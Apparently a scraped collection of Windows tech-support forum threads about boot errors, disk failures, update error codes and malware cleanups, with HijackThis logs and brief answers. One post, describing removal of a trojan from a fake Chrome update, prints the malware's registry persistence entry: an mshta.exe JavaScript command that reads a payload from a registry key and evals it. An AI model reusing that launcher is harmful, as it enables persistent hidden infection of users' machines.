It looks like the MBR or GPT that tells the BIOS/UEFI where to start booting has been messed up.  If you created restore media before upgrading to Windows 10, I'd use that and start all over.  If not, you can go here to download or order your recovery media.  

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Whenever my computer tries to boot, it takes a while to detect anything from the CD-ROM (my first boot priority), and then when it detects the IDE, it says "error loading operating system" and after that I can't do anything but restart or shut down. I am running Windows XP Professional and it will load with a boot disk, but if I take out the boot disk it won't load. I'm not sure what to do, so please help me!

A:Solved: "error loading operating system" message when I try to boot

hi there, im sorry this isnt a solution. but i am having the same problem.

my old hard drive kicked the bucket and i got a new one. i cloned the hard drive using TrueImage which went fine. but when i restart the comp i get that error. i have tried to change the bios access mode to Large LBA and the other one but to no avail. i have herd that running the command fdisk /mbr may help but it could also cause problems.

does anyone know how to get past this?

also reinstalling xp doesnt work. i have formated the hard drive and tried to set up windows but to no avail

Thanks Lee

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I have:

Gigabyte - GA-MA78GM-S2H
AMD - A64 X2 5000+ 2.6 AM2 65n
Western Digital - 320G SATA - HD
Pioneer - DVD/CD writer
Kingston - 2 x 1 DDR2 667

I put everything together and it booted right off the bat. I formatted and partitioned the HD using WD's formatting program.

The board saw my drives as IDE and changed the drives from IDE to AHCI.

After the system shows the "Verifing DMI data pool" message, I get the "NTLDR is missing, Alt-Control-Delete to restart" message.

I looked on the net and found some possible fixes, but none have worked for me. I have set the bios to boot from both the HD and DVD/CD, but get the message either way. Also, this system does not have a floppy drive.

I also do not get a prompt to bood from cd which is what I need to install XP.

Looking for help...


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Had a sudden inability to go much further than a third or forth-level download on ANY given webpage and then PC would seize-up, requiring "cont+alt+del" in order to get freed-up. Thought perhaps I picked-up a bug of some sort during a recent google search, and went immediately to Panda and Trendmicro to perform both virus as well as malware scans. While the Panda scan was loading-up, I received the following error message....

... " DoPatch....dll reports error....Error "C:\WINNT\patch.utp"....unreadable or not a patch file..."

Was able to complete both scans. Nothing found other than tracking cookies.

I then did a file serch for the above and located it. It was installed TODAY apparently, and not by me, within minutes of the problem starting.

I'm guessing someone/thing slipped this patch into my WINNT file or modified it while I was doing the google search, so I have included a HJT scan below.

Hope this all makes sense and ties-out to something. Any help would be genuinely appreciated-

__________________HIJACK SCAN BELOW__________________________
Logfile of HijackThis v1.99.1
Scan saved at 12:42:23 PM, on 5/11/2005
Platform: Windows 2000 SP4 (WinNT 5.00.2195)
MSIE: Internet Explorer v6.00 SP1 (6.00.2800.1106)

Running processes:
C:\WINNT\syste... Read more

A:"DoPatch" error message - "dll reports error" causing pc to seize-up (HJT attached)

Bump for HJT expert

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I've had this problem before, except it was almost a year ago and on a different computer. I'm getting a yellow triangle in the system tray and a message about a "critical system error". It then gives me a bs paragraph about a trojan infection and lists 3 spyware removal programs I should download. Windows Defender is useless against this, and spybot S&D can't remove the infected files.

This is in Vista 32 bit

Here's a hijack log:

Logfile of Trend Micro HijackThis v2.0.2
Scan saved at 8:25:02 PM, on 3/24/2008
Platform: Windows Vista (WinNT 6.00.1904)
MSIE: Internet Explorer v7.00 (7.00.6000.16609)
Boot mode: Normal

Running processes:
C:\Program Files\Windows Defender\MSASCui.exe
C:\Program Files\Elantech\Ktp.exe
C:\Program Files\Motorola\SMSERIAL\sm56hlpr.exe
C:\Program Files\Intel\Intel Matrix Storage Manager\IAAnotif.exe
C:\Program Files\Java\jre1.6.0_05\bin\jusched.exe
C:\Program Files\Protector Suite QL\psqltray.exe
C:\Program Files\Microsoft Office\Office12\GrooveMonitor.exe
C:\Program Files\Windows Sidebar\sidebar.exe
C:\Program Files\Trend Micro\HijackThis\HijackThis.exe

R1 - HKCU\Software\Microsoft\Internet Explorer\Main,Search Page =
R1 - HKLM\Software\Microsoft\Internet E... Read more

A:Solved: "Critical System error" fake message, Defender not working

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Whenever I double click on my hard drive C: an error message pops up that says "C:\resycled\ is not a valid win32 application"

I have read and followed the instructions posted on this site for Virus/Trojan/Spyware removal.
Help would be greatly appreciated!!
thank you!
here is the DDS.txt file.
and the other txt files are attached.

DDS (Version 1.1.0) - NTFSx86 NETWORK
Run by Jordan Kahlil at 13:44:14.43 on Tue 12/23/2008
Internet Explorer: 6.0.2900.2180
Microsoft Windows XP Professional 5.1.2600.2.1252.1.1033.18.1022.676 [GMT -8:00]

AV: Norton 360 *On-access scanning enabled* (Updated)
FW: Norton 360 *enabled*

============== Running Processes ===============

C:\WINDOWS\system32\svchost -k DcomLaunch
C:\WINDOWS\system32\svchost.exe -k netsvcs
C:\Program Files\SUPERAntiSpyware\bb055a73-de42-4022-8025-2bdfc26ccf13.exe
C:\Program Files\Safari\Safari.exe
C:\Documents and Settings\Jordan Kahlil\Desktop\

============== Pseudo HJT Report ===============

uInternet Settings,ProxyOverride = *.local
BHO: Adobe PDF Link Helper: {18DF081C-E8AD-4283-A596-FA578C2EBDC3} - c:\program files\common files\adobe\acrobat\activex\AcroIEHelperShim.dll
BHO: c:\program files\common files\symantec shared\coshared\browser\2.6\coIEPlg.dll
BHO: Symantec Intrusion Prevention: {6D53EC84-6AAE-4787-AEEE-F4628F01010C} - c:\progra~1\common~1\symant~1\id... Read more

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Computer running extremely slow. Tried to do system restore but getting an error message that says "the creation of a shadow copy has timed out. Try this operation again. (0x81000101) - have tried again several times with no luck, Have read previous threads that say to clear restore points but am afraid that if I do this I will not be able to fix the problem had to begin with as i wont be able to go back to earlier saves. Would like to reinstall windows but the laptop came with it already installed so dont have a hard copy.

A:Can't do system restore - error message says "timed out"

Are you running an anti-virus software? If so, disable it before continuing.

Complete the following (taken from here):

Verify if these two services are started and running on your computer. If it’s not started, start the services and check if you can create a system restore point.

a) Volume Shadow Copy service
b) Windows backup

Also ensure that their dependency services are running.
Verify if their dependency services are running.

You can check this information from services.msc. To do this follow the steps below:

a) Go to start and type services.msc in the search field.
b) Locate the two services.
c) Right-Click on the service one at a time.
d) Select properties.
e) Go to Dependencies Tab.
f) Note the dependency services.
g) Make sure they’re also running.
h) To start a service, right click on it and select start.

You should also try booting up your system in Safe Mode and then trying the System Restore.

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"Disk boot failure insert system disc" every time i get up

I have done a format c and installed windows xp again. My pc worked just fine a whole day long and i could restart the pc without problems. The next morning i want to boot my pc and i get the message "System boot failure please insert system disk" I couldn't get it fixed so i reinstalled my pc again. I worked with my pc the whole day without any problem i went to bed. The next day i had the same problem as the day before "System boot failure insert system disk". Now my question is how it comes that i cane resart and boot my pc a whole day long and if it is turned off for 8 hours that i get the message "system boot error..." anyone a suggestion?

A:"Disk boot error insert system disc" every time i get up

That could be caused by 1 of several problems.

First (and most likely), it could be a flat bios battery. Does your system loose the date and time too? If so, fit a new bios battery.

Check all your boot options in your bios to see if any of those are the cause.

If you have any spares, try a different data cable.

Scan disk your hard drive as it could be a drive error.

If none of this helps, let me know and i will do my best to help further. Rik

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I am running Windows 10 Pro. My system is running perfectly. There are zero "Event viewer" errors on every restart.
I have never had a BSOD and everything works perfectly.........but, on every other restart I am seeing "System error memory dump files" in the Disk Clean-up utility. The size varies. Currently it is 9.70mb but may change slightly if I reboot.
Whenever I clean it, it returns. There are no dump files in my Windows folder. I really don't understand why I am seeing it.
I have searched the internet for hours but all threads turn to BSOD issues. I have never had a BSOD, nor can I find this mysterious 9.70mb dump file. Can anyone shed any light onto what is happening?
Thanks in advance.

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I recently did a whole new build, new hard drive, mobo (GA-P35-DS3L/S3L) and processor. The problem is, I'm trying to install Windows 7 Ultimate and I come up with "Insert system disk and press enter" error when I try to boot from the disk. I checked the BIOS and the mobo had recognized the DVD drive and the hard drive. I tried putting the hard drive under slave and the DVD drive under master, and vice-versa. I am a high school student who generally gets lots of home work, so it would be nice to be able to type out my work. I am also a gamer, and my friend and I are trying to get my computer fixed, and it's really frustrating. I would like to get this fixed as soon as possible


A:"INSERT SYSTEM DISK" error when trying to install Windows 7 Ultimate

If the hardware is so old that you are using IDE drives, are you sure that it even will run Windows 7?

Is the DVD a full, retail version from Microsoft?

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Would someone please be able to assist me with this problem? I keep getting the "Windows - No Disk. Please contact System Administrator" problem on my PC. Usually a reboot solves this but it creeps up after time again.

I ran a HijackThis system scan and here is the log...

Logfile of Trend Micro HijackThis v2.0.0 (BETA)
Scan saved at 1:01:12 PM, on 2007/03/21
Platform: Windows XP SP2 (WinNT 5.01.2600)
Boot mode: Normal

Running processes:
C:\Program Files\Ahead\InCD\InCDsrv.exe
C:\Program Files\Network Associates\Common Framework\FrameworkService.exe
C:\Program Files\Network Associates\VirusScan\Mcshield.exe
C:\Program Files\Network Associates\VirusScan\VsTskMgr.exe
C:\Program Files\Common Files\Microsoft Shared\VS7DEBUG\MDM.EXE
C:\Program Files\Network Associates\VirusScan\SHSTAT.EXE
C:\Program Files\Network Associates\Common Framework\UpdaterUI.exe
C:\Program Files\Common Files\Network Associates\TalkBack\TBMon.exe
C:\WINDOW... Read more

A:WIN XP: "Windows - No Disk. Please contact System Administrator" error

They are going to tell you to get the old version of HJT, 2.0 is in BETA. Get the older version here:,23258-page,1-c,downloads/description.html

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My computer recently crashed; I didn't pay attention to the first message because, like most people, I'm constantly getting an error message of some type so I didn't pay much attention to this one - until the screen requested the installation CD to be run. When I did that, setup began, running through the initial processes until the "installing windows" segment - when I received the following message:

Fatal Error: An error has been encountered that prevents setup from continuing. Setup failed to install the product catalogs. This is a fatal error. The setup log files should contain more information. Press OK to view the setup log file.

Pressing OK, I read:
Error: The signature for Windows XP Home Edition upgrade is invalid. The error code is fffffdda. The system cannot find message text for message number 0xfffffdda in the message file for syssetup.dll.

Fatal Error: Setup failed to install the product catalogs. This is a fatal error. The setup log files should contain more information.

Error: (same as above)
Fatal Error: (same as above)

Fatal Error: One of the components that Windows needs to continue setup could not be installed. The operation was cancelled by the user.
Fatal Error: (same as immediately above)

The error and fatal error messages then return to the initial two messages listed above - repeated several times.

Pressing OK restarts the system and the process happens all over again. I do have a valid copy of WinNT which was preinsta... Read more

A:Fatal Error message: "failed to install product catalogs" - complete system shutdown

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I am trying to map network drive using Windows 8.1 64-bit.  The drive is a USB disk plugged right into my router.  The drive location is //  If I do the following at a command prompt, it is successful and I can read/write
to the USB drive using file explorer at //
net use \\ /USER:admin (and typing in the password when prompted)

However, if I try to use the Map Network Drive tool (while selecting the "different credentials" option) something weird happens.  The Windows Security box pops up to enter my credentials but then immediately a second box opens up
titled just "Windows".  The box says:
The mapped network drive could not be created because the following error has occurred: Attempt to access invalid address.

Also, if I use Remote Desktop Connection to try and connect with my computer at work I get a very similar situation.  A Windows Security box pops up to enter my credentials followed immediately with a box with the message "Remote Desktop
Connection has stopped working".  I know it should work because I created a .rdp text file with my username and encrypted password in it and then I can connect!

I'm thinking something must be corrupt in my registry.  The only security software I run is the stuff that comes with Windows 8.1, pretty basic machine setup quite frankly.  A system restore is my very last option because I don't know
when the probl... Read more

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hello, let's just get to the point, i had this problem recently where my pc can load windows, it keep looping
pc's on - booting - then "Windows Loading Files" - restart
it's infinite i don't know what to do, i don't have a cd rom, and i can't reinstall my windows from USB because every time i tried it says : "disk error" or "disk read error"
even after i burn it to USB correctly, tried this on other pc and USB can load just fine.
i'm thinking, it's something wrong with my boot system in System Reserved, is there anyway i can do to fix this?

A:"Windows Loading Files" infinite loop, Can't Boot USB "disk error"


Have you tried changing the boot sequence inside the BIOS?

Normally pressing F2 or F12 on the computer will solve this.

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So, I was reinstalling Vista, from a folder on my PC. The folder is on Z:\, and I'm installing to C:\. I installed previously from XP to Vista the same way. This time, I got a disk read error on reboot. chkdsk found a problem, I used /r and let it work. Still got the error. Booted to my Ubuntu drive and opened GParted, where it shows a warning saying it's unable to detect file system, etc.

I'd just like to get some of my files off my C:\ drive, but I am unable to see it from Computer, though I can see the other partition on the same drive. Any tips?

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Running Windows 10, I've been trying to download/install Message Analyzer ( and both versions available (64bit and 32bit)
report that their signature is corrupt or invalid. Other downloads have been working fine.

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I bought a used laptop at a pawn shop with Windows xp. I tried installing SP2, but I get the following error message:
"Windows XP Service Pack 2 can not install. The product key used to install Microsoft Windows may not be valid........"
I have a valid CD Key, in my possession. I have heard that I can change the current cd key to another one through the registry. Does anyone know how to do this?


A:Solved: Getting "invalid product key...." message when installing WXP SP2

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I having this problem with an icon in my bottom right task tray. When I move my mouse over it, it says "Critical System Error!", but when I click it, it opens up some site for anti-virus software ( I have ran numerous anti virus scans and nothing cam up, so I know I am safe, but this icon wont go away. Every once in a while, a baloon will pop up saying something about I need a malware scan, but when I click it, it opens up the site again. I tried restarting my computer, but it still shows. Is there an executable I need to delete or how do I get rid of it?

A:"Critical System Error!" Message

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Hi everyone. I just registered here in seek of help as I cannot seem to get a certain message, among other things, to go away. So anyway, I'll start by saying this is my parent's computer and is a Windows Vista Home Premium Toshiba laptop. They do not seem to understand that visiting random websites, opening random emails, and choosing random options in prompts have consequences. Here's the problem. A "System Error" message pops up in response to almost anything I do on the computer, especially while in Internet Explorer. Here is the message:

System Error!
Your computer was infected by unknown trojan.
dangerous for your system (critical files can be lost)!
Click OK to download the antispyware program to clean your system!
OK Cancel

So, I'm not that big of an idiot and go believing it. I cancel it every time and it continues to pop up over and over. Like when loading a website, it popped up 9 times before loading was complete. Also, when I went to search for help on Google, most of the results' links were corrupted and this was always in the results:

Your browser was hijacked! Some results was changed by P--n advertising!
You need to clean your system immediately to prevent it. Download the newest antispyware software!

...followed by a...questionable (to say the least) link. I ran the McAfee virus software that came with it a long time ago, and downloaded and ran AdAware as well. Both of them found infected files and ... Read more

A:"System Error" message/spyware

Well, I've been continually refreshing the threads hoping for some help, but no responses But, I did read some other posts and found a thread that had a similar problem and someone responded w/ the suggestion to use "Malwarebytes' Anti-Malware" program. I decided to try it, and there's good news and bad news. The bad news is that I now have 2 error messages on startup:

Error loading C:\Users\*me*\AppData\Local\Temp\cbawx.dll
The specified module could not be found.

The 2nd error message is the same, but for tuspp.dll. However, the good news is that the annoying "System Error" pop-ups as well as the hijacked google search results appear to be gone, at least as of right now. So I'm in a much happier place. So, thank you cybertech for inadvertently helping me

So does anyone have any idea on what to do about these 2 new messages? Please help. I ran HijackThis again and got a message saying that for some reason it was preventing it from writing to the Hosts folder, and told me to run it as administrator. So I right-clicked HijackThis and said "Run as administrator" and it seemed to be okay. Anyway, here's the log from Malwarebyte and the new HijackThis log after that:
Malwarebytes' Anti-Malware 1.07
Database version: 467

Scan type: Quick Scan
Objects scanned: 30040
Time elapsed: 10 minute(s), 41 second(s)

Memory Processes Infected: 0
Memory Modules Infected: 1
Registry Keys Infected: 11
Registry Value... Read more

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I have a big problem here,
I have used my hard disk for 9month,
Yesterday when I watched movie on the half way,
My hard disk suddenly disfuntion,
And I thought my laptop problem due to always lagging so I restart my computer.
But after that I can't read my hard disk (WD)in my computer.
It can read in computer management there.

Ways I try:
1)I try to uninstall and reinstalled again,BUT it doesn't work.
2)I try to unchecked the hide folder and device at view.
3)I try to update the software BUT it still disfunction.
4)I try to use disk management and initialized it BUT there appeared CANNOT INITIALIZED Due to I/O device error.

Any solution for me ?

A:Hard Disk can't read in "my computer ", "initialized",I/O device error

The most usual cause is that the Hard Drive is beginning to fail. Back up your stuff. Go to the website of the manufacturer and test the drive.

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Acer Aspire M1100 AM1100-E1402A
Mfg Date 2008\03\07
Vista Home Premium 32-bit

It was running OK, but getting a bit old and a bit slow. I upgraded to a W7 desktop, but wanted to keep this one playing around with.

Ran System Recovery 2 or 3 times using the Alt-F10 method. First time, I wanted to avoid loading bloatware so ran msconfig early on, went to Startup to uncheck Acer Launch and stuff like that. Windows Update worked until SP1. Just couldn't get SP1 to install, including when I downloaded it from the web.

Then I ran System Recovery and let the bloatware run. It stalled at 9/11. Again, Windows Update worked until SP1.

Then I tried System Recovery using discs, instead of Alt-F10. It failed for some reason. I have a couple other System Recovery discs from an laptop and an eMachine laptop. I tried them with the same result. Recovery starts, writes over the C drive, then fails.

The message is:
The system registry contains invalid file paths. Installation cannot proceed. This system image was applied without guaranteeing that drive-letter assignments would match across computers.

So now I'm stuck.

I googled the error message, but generally ended up in discussion boards that are over my head. I think I saw some discussion about partition. I have a foggy memory that this desktop may have arrived with the HDD partitioned into something like 120 and 200 GB partitions. I think I removed the partition. I wonder if this has contributed to the problem? Then... Read more

A:Vista System Recovery failure - "system registry contains invalid file paths" - canno

The vista image extracts to the temporary drive letter D.

If you use a regular installation dvd and MS standard setup.exe, it will fix the os registry letter correctly. (Defaults to the first letter i.e. C as A and B are reserved for floppies )

If you are trying to restore from a factory image, you will have trouble because there is now another os on the machine.

I have a script I use for it.

You could get it to work , but it is a lot of mucking around.

It is just easier to use a Vista install dvd ( not the same as your factory recovery image ), boot it up, and install to your desired partition.

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I just attempted to use Partition Wizard to repair my MBR after installing Ubuntu and having issues with a BSOD in Windows (0xC0000225).

Now when I reboot all I get is "Non-System disk or disk error." Any ideas? I can't run fixmbr using a recovery disk because apparently that command no longer exists!

A:Help please! "Non-System disk or disk error" after repairing MBR

Please don't start another thread, people are still trying to help you at the other one and that makes it too confusing.

(Another) 0xC000025 error

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OK. I got given a laptop to fix. The problem was is that the O/S was hanging and BSoD. I thought, ok, simple fix or repair will do the trick. I was very wrong!

I tried several ways to make XP boot but failed, I gave up in the end so I created myself an XP bootable disk. Took around 10 minutes to create, all fine, no errors. Put it in the Fujitsu laptop and what a surprise, it doesnt want to boot. So I tested this CD on another laptop, it worked like a dream.

So, my first question is "Why doesnt my XP bootable disk want to load on a Fujitsu laptop?"

Next, I burned a XP iso file onto a disk and tried to boot to get into console recovery. This booted up fine, did my stuff but no help to the corrupt XP on the laptop. So I thought, ok, let me try and do a repair. This started to repair the O/S which was perfect, then BOOM! a pop up message saying "Enter your serial number in...". I looked under the laptop, wrote down the serial number, triple checked it, entered it in and "Invalid serial number".

So, my second question is "Why in the hell doesnt it like a valid serial number?"

Ok ok ok, now your thinking.
"Why dont you just reinstall the O/S from fresh?"
Well, the answer to that is well, the person has family photos on there of his kids and he doesnt want to lose them.
Yes, no back up was made.

My thoughts are on that laptop is that the laptop hard drive is corrupt, a bad few sectors or something.

I am rath... Read more

A:Unbootable Windows XP disk, "Invalid serial number". All on a Fujitsu Laptop

the xp disk you are using has to match the version of the key,which is a oem version

first slave the drive to another computer and see what you can save from it

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Howdy folks

I'm stuck in a bit of a weird situation here that I have no idea how to fix.
I just bought and installed a new hard drive for the purpose of doing a RAID 0 configuration with my old drive. The BIOS picks up the new hard drive perfectly, and it's being recognised in Disk Management.

See, the pickle here is when I try to convert my Disks from Basic to Dynamic, I get this little epitome of frustration:
Google's not co-operating with me on this one, I can't find a single relevant article.
Is there any way to change the ever elusive 'pack name'?
Anything even slightly relevant will be a relief to read by comparison, so don't hesitate to recommend anything.

A:"The pack name is invalid..." - Disk Management Issue

Hi, Modus Operandom, and welcome to the forums.

You say convert it to RAID - but I am puzzled as to why on earth would you try to do that in Disk Management? Are you attempting to use Software based RAID?

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Recently I had an XP OS crash. Received a "non system disk" error on black screen. No disks in floppy drive, ZIP drive or CD drive. Eventually, I determined that I had to reinstall XP. Wen reinstalling, XP evidently did not recognize itself on the disk as it asked for my previous Windows CD. After inserting my Win98 CD in the drive, XP installed OK. However, two problems occurred: First, I have two hard drives on my system. The large 13 GB drive is drive 0, the boot drive, formerly designated drive C:\; my second backup drive, drive 1, is 3 GB, is older and slower and was previously designated drive D:\. After the install XP had reversed the drive letters on these drives; now my boot drive(formerly C:\) is designated drive D:\ and the backup drive (formerly D:\) is designated drive C: Second, because XP did not recognize itself on the drive and requested my Win98 CD, it installed itself with a "clean" registry. Consequently, none of the programs on the hard disk were installed in the Startup menu. Everything is there, but not listed in the Startup registry. Also, some of the programs will not start by clicking on their .exe files, evidently, because the drive letters were switched. Some programs will start, however.

I have tried to change the drive letter designations back to their original designations by drilling down through the Performance & Maintenance menu to the "Disk Management" tool where it suggests that drive letters can be change... Read more

A:XP Crash "Non System Disk" error

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as described in the title when i boot my laptop:
i get the "disk read error -> press cntrl alt del to restart" message. I then tried to access the backup partition through f10 only to run into this error "status : 0xc00000e9 Info : an unexpected I/O error has occurred" it seems that it cant communicate with my hard drive.

I read a few other forum posts but didnt see anyone have the 0xc00000e9 error also. Bios boot priorities are in order if that matters.

Is there a fix without having to replace the entire HD and buy a new vista installation(preinstalled w/ no disc in the box).

Im very reluctant to take it to a service center as i can very likely fix it myself (with the help of the friendly people here of course), only problem is im having a little trouble..finding.. my HD in this damn notebook.. heh, ill figure that part out. new to notebook repair.

Thanks in advance. Danny

edit: found the HD, doesnt look like it even uses a cable, just plugs right into what i assume is the mb. dont know if that helps just supplying what i can.

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Microsoft Updater says I have a critical update (KB2286198) to install but it fails and gives the message: "WindowsUpdate_80246007" "WindowsUpdate_dt000".

I've tried a couple of things that MS Support suggests but they don't work and don't seem to really apply to this particular error message. Searching for the error code 80246007 hasn't yielded anything yet that works.

Any ideas?

Gateway GT5622
x86 based PC
Processor Intel(R) Pentium(R) Dual CPU E2160 @ 1.80GHz, 1800 Mhz, 2 Core(s), 2 Logical Processor(s)
Operating System Name: Windows Vista
Operating System Platform: NT/2000/XP/Vista
Operating System Major Version: 6
Operating System Minor Version: 0
Operating System Build Number: 6002
Service Pack Description: Service Pack 2

A:Update Error Message "WindowsUpdate_80246007" "WindowsUpdate_dt000"

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Every now and then a message box opens on my screen and says, "Invalid Location". Why is this happening? Any way to get rid of it?

A:"Invalid Location" message

Maybe this will help

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How can I work around the following rror message "cannot copy file. cannot read source file or disk". I'm using Windows XP on a Gateway GT 4016

A:error message "cannot copy file. cannot read source file or disk"

Get a new disk or provide a whole lot more details about what you're trying to do and what program(s) you are trying to do "it" with.

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Newbie here. I have searched around for a while but have not found a post with my exact situation.

I just installed a new Seagate Momentus 500gb (7200rpm) SATA drive in my Lenovo X61 laptop and have been working on a installation of Windows7 Ultimate.

Not realizing this was an upgrade install disk, I tried to install Win7. I didn't know about the clean install method, so I started over with an installation of WinXP (slipstreamed to deal with the SATA drive).

Next, I ran the Custom Installation upgrade to Win7.

So far, it seems to be working ok.

However, the Local Drive is D: instead of C:. The System Reserved drive in labeled C:. Should I be concerned? Should/Can I change this?

Attached are screenshots of Disk Management and explorer window.

Thank you for any info.

A:"System Reserved (C:)" and "Local Disk (D:)" ??

Try removing the System Reserved drive letter in Disk Management to see if Win7 claims C instead. It sometimes works.

There is no reason you can't operate with Win7 as D even though it is meant to always assume the C letter unless it's installer is run from another OS.

But if you do I would not allow a drive letter for SysReserved as programs can write to and corrupt it, especially the ability to make Win7 backup images.

Now that you know you can clean install Win7 without needing XP on the HD, I would strongly consider booting the installer to do a Custom install, choose Drive Options to Delete all partitions, Create new as you wish, then Format before installing to first partition after SysReserved it will create for you. The installer will see an OS at boot to allow use of Upgrade version key upfront during install.

Here are tips to get a perfect reinstall - use the ones which apply: Clean Reinstall steps

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I have a user that restarted her computer becasuse she was not able to log into our terminal server farm. When she tried to login to her desktop, she get the error in the title. I as a domian and enterprise admin also cannot login to her pc. Any suggestions?

Thanks for the advice.

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Trojan infection was mitigated through the employment of sysinternals.  Source of trojan infection was a CHROME emergency update fake post.  Use of Sysinternals and W7 bootstick allowed for the removal of most of the infection.

Original infection keys and file removed



@="\"C:\\Windows\\system32\\mshta.exe\" \"javascript:i9KIFxNK=\"S\";u5W9=new ActiveXObject(\"WScript.Shell\");xxFwDLW1=\"83lvZdZJ\";HdP0t=u5W9.RegRead(\"HKCU\\\\software\\\\ydwarldiy\\\\zujmvfhc\");wu5Uwrzh=\"Qd07LlR\";eval(HdP0t);gY6bZRg=\"aB8l\";\""
Persistent script error still occurs.  Have sourced it to the mshta.exe.  Image file is verified as microsoft Version 11.0.9600.16428.  Command line seems to be the culprit.  C:\Windows\System32\mshta.exe"
javascript:DPHB4C0="98sQmHed";v22t=new%20ActiveXObject("WScript.Shell");Dr1JH6E="zlYd";f58vmO=v22t.RegRead("HKCU\\software\\ydwarldiy\\zujmvfhc");... Read more

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All of a sudden I've been getting a bunch of "invalid" operations. It seems to have started with Windows explorer being buggy. It would take a long time for the contents of a folder to be listed and if I'd click off and restart I'd just get a bunch of freewheeling clocks under everything, Desktop, Libraries, Homegroup, Computer, Network. Everything... no details available. (See Explorer_Glitch_Sept-17-2014.jpg)

I'd run CHKDSK and it would get sorted out. (See CHKDSKResults.txt for latest)

But then I'd get these "invalid" function notices. (Sorry, no images for this) For example, I'd just click on "C" in explorer and get nothing but the notice that it was an invalid path... I'd reboot and it happened again after trying to close a program: "Invalid pointer operation." I tried shutting down but it wouldn't shut down because the program I was trying to shut down wasn't shut down because of the "invalid pointer operation." So I had to force a shutdown.

Very strange. I tried a system restore without success. A file wasn't available, it said, probably because of a firewall problem. I disabled the anti-virus but it wouldn't work still. (See SysRestoreFail.jpg)

I'm going to enclose administrative event from event viewer (I don't know if that will help) and a notice about the inoperability of the system restore. I wish I had a picture of the warnings and the codes but I don't. (see AdminEvents.jpg for this... I couldn't upload the ... Read more

A:Multiple "invalid" operations. System Restore inoperable.

Test your hard drive with the maker's HD Diagnostic extended CD scan, followed by another full Disk Check.

Run a full scan with Malwarebytes and you AV, then SFC to test System Files, establish a Clean Boot, cull the logs for repeat errors to resolve, utilize System resources from the the Troubleshooting Steps for Windows 7

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1) At boot up, my computer will prompt with the "Windows - No Disk" error message. I try to cancel each time and usually by the the third cancel it finally goes away.

2) Internet Explorer 6 will freeze with the "hungapp" error message. I have to do a CTRL+ ALT+ DEL to close. This happens quite frequently and just about makes IE 6 unusable.

Any ideas as to what can be causing this? Below is my HijackThis log:
Logfile of HijackThis v1.99.1
Scan saved at 22:11:43, on 1/20/2007
Platform: Windows XP SP2 (WinNT 5.01.2600)
MSIE: Internet Explorer v6.00 SP2 (6.00.2900.2180)

Running processes:
C:\Program Files\Belkin\Bluetooth Software\bin\btwdins.exe
C:\Program Files\Yahoo!\Antivirus\ISafe.exe
C:\Program Files\Belkin Bulldog Plus\upsd.exe
C:\Program Files\RealVNC\VNC4\WinVNC4.exe
C:\Program Files\Yahoo!\Antivirus\VetMsg.exe
C:\Program Files\Lexmark X1100 Series\lxbkbmgr.exe
C:\Progr... Read more

A:Windows "No Disk" error at boot and "hungapp" error with IE 6

Click Run, type in msconfig, click OK, click Startup tab find dit.exe and uncheck it, click apply and reboot system. This worked for me with "No Disk" problem

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I am trying to install Office 2003 on a machine running Vista. Each time I attempt the install, it runs successfully until end when I receive a message stating "Error 1324: The folder path '.' contains an invalid character." Once I click "OK," it rolls back the installation.

I have tried right clicking on the Office2003 zip file, and selecting Run as Administrator, but I receive the same error.

I have searched the regedit for "." and found one instance, which I removed (in HKEY_CURRENT_USER\Software\GABEST\VSFilter\DefTextPathes\PATH0 Reg_SZ .). I restarted and tried again - still same error message.

Any assistance that you can provide would be greatly appreciated.


A:Vista Install error - Error 1324: The folder path "." contains an invalid character.


Originally Posted by Camilla08

I am trying to install Office 2003 on a machine running Vista. Each time I attempt the install, it runs successfully until end when I receive a message stating "Error 1324: The folder path '.' contains an invalid character." Once I click "OK," it rolls back the installation.

I have tried right clicking on the Office2003 zip file, and selecting Run as Administrator, but I receive the same error.

I have searched the regedit for "." and found one instance, which I removed (in HKEY_CURRENT_USER\Software\GABEST\VSFilter\DefTextPathes\PATH0 Reg_SZ .). I restarted and tried again - still same error message.

Any assistance that you can provide would be greatly appreciated.


Good morning Camilla08 -

Welcome to the Tech Support Forum - Vista Support!

I have seen error 1324 before - but it does come in many shapes and sizes. So, let's see what we can do to help you through this.

First, I'd like to take a look at the contents of a registry key.

Bring up an ELEVATED command prompt START | type cmd.exe | right-click on cmd.exe up top | select Run as Administrator | answer the UAC prompt - Continue/enter Admin password

Now... copy and paste the following into the "DOS" command prompt box - EXACTLY as it appears -

reg query "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell... Read more

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Hi - my first post here.

This is weird. Today I leave the PC on, and head out to run errands. I leave it at the XP desktop. Come home, and it's sitting on dos boot screen, with message:

"invalid partition table"

and the machine won't boot. What's strange is that I have a boot CD with a bunch of tools on it, and a menu that allows a choice to "boot windows", or "boot tools CD" -- if i use that boot cd, and choose boot windows, voila, desktop comes right up and I'm good to go.

I'm guessing a corrupt MBR on the HD, and the CDR has a valid MBR.

anyone know how I can correct/repair the MBR/partition table on the HD? or am I going to have to back up, and fdisk the whole thing?
running xp pro
intel 2.8 ghz
512 mb pc3200
ati 9800
all partitions NTFS

A:"Invalid partition table" -- system won't boot HD

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I am getting this error message: "WindowsUpdate_8024400E" "WindowsUpdate_dt000" can any one help me with this? Thanks

A: "WindowsUpdate_8024400E" "WindowsUpdate_dt000" error message

twmom, Windows Update error 8024400E indicates that you're running into temporary connection errors in trying to check for updates. Please refer to this Microsoft KB article, which contains a lengthy list of troubleshooting steps.-Alex

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I have a laptop Toshiba, Satellite A45 and I can't get on the web, or load most of my programs due to an error message saying "one touch can't enumerate". When I tried to load the Maxtor One Touch CD to remove and re-install, I got the error message, "can't scipt" (error message Microsoft 1719) "Windows installer service could not be addressed". I had downloaded a spyware program and backed up first, but cannot upload the back up due the problems. Any help would be greatly appreciated. I am on my desktop, so can receive email. Thank you,

Don Winn, Switzerland, FL

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"A problem caused [name of program] to stop working correctly. Windows will close the program and notify you if a solution is available." But no solution shows. I have been using the same HP Pavilion tx1000 for a year and a half with no software or compatibility issues. I run Vista Home Premium, Service Pack 1 - 32 bit. Slowly this message began to appear with every microsoft program I opened and then started to spread to non microsoft programs. I tried reinstalling the programs, doing a system restore to the oldest restore point I could, I also tried uninstalling any window updates that were installed right before my problems. I have read some strings that indicate it may be a compatibility issue between the service pack 1 and vista but the service pack came with the computer and it has been working fine until recently. I am at loss what to try next. Has anyone using Vista Home Home Premium experience anything like this!!!

A:Windows Error Message "{Name of Program} has stopped working" "A Problem caused ...

